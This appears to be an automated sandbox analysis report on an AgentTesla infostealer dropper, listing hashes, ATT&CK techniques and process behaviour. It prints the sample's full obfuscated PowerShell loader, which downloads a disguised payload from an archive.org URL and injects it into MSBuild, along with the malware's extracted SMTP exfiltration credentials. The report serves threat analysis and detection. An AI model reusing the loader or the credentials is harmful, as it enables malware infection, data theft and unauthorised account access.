agenttesla | 85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72

General

Target

20250120.js
Size

155KB
MD5

fe92c7ee393a2c87ccb3034c9ce18b14
SHA1

8d2c9d5a5c985fb4feb466be1a4752d67042f4b7
SHA256

85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72
SHA512

1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4
SSDEEP

768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3420	powershell.exe
22	3420	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3420 set thread context of 1052	3420	powershell.exe	97

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3420	powershell.exe
3420	powershell.exe
1052	MSBuild.exe
1052	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	1052	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 3420	5072	wscript.exe	83
PID 5072 wrote to memory of 3420	5072	wscript.exe	83
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97
PID 3420 wrote to memory of 1052	3420	powershell.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4r4vtsh.e4d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1052-19-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1052-28-0x0000000006BB0000-0x0000000006BBA000-memory.dmp

Filesize
40KB

Download
memory/1052-27-0x0000000006BE0000-0x0000000006C72000-memory.dmp

Filesize
584KB

Download
memory/1052-26-0x00000000069A0000-0x0000000006A3C000-memory.dmp

Filesize
624KB

Download
memory/1052-25-0x00000000068B0000-0x0000000006900000-memory.dmp

Filesize
320KB

Download
memory/1052-24-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/1052-23-0x0000000005850000-0x0000000005DF4000-memory.dmp

Filesize
5.6MB

Download
memory/3420-13-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3420-18-0x0000023CA03C0000-0x0000023CA03CC000-memory.dmp

Filesize
48KB

Download
memory/3420-17-0x0000023CF7D20000-0x0000023CF7EDA000-memory.dmp

Filesize
1.7MB

Download
memory/3420-22-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3420-16-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3420-14-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

Filesize
8KB

Download
memory/3420-15-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3420-1-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

Filesize
8KB

Download
memory/3420-12-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3420-7-0x0000023CF6F60000-0x0000023CF6F82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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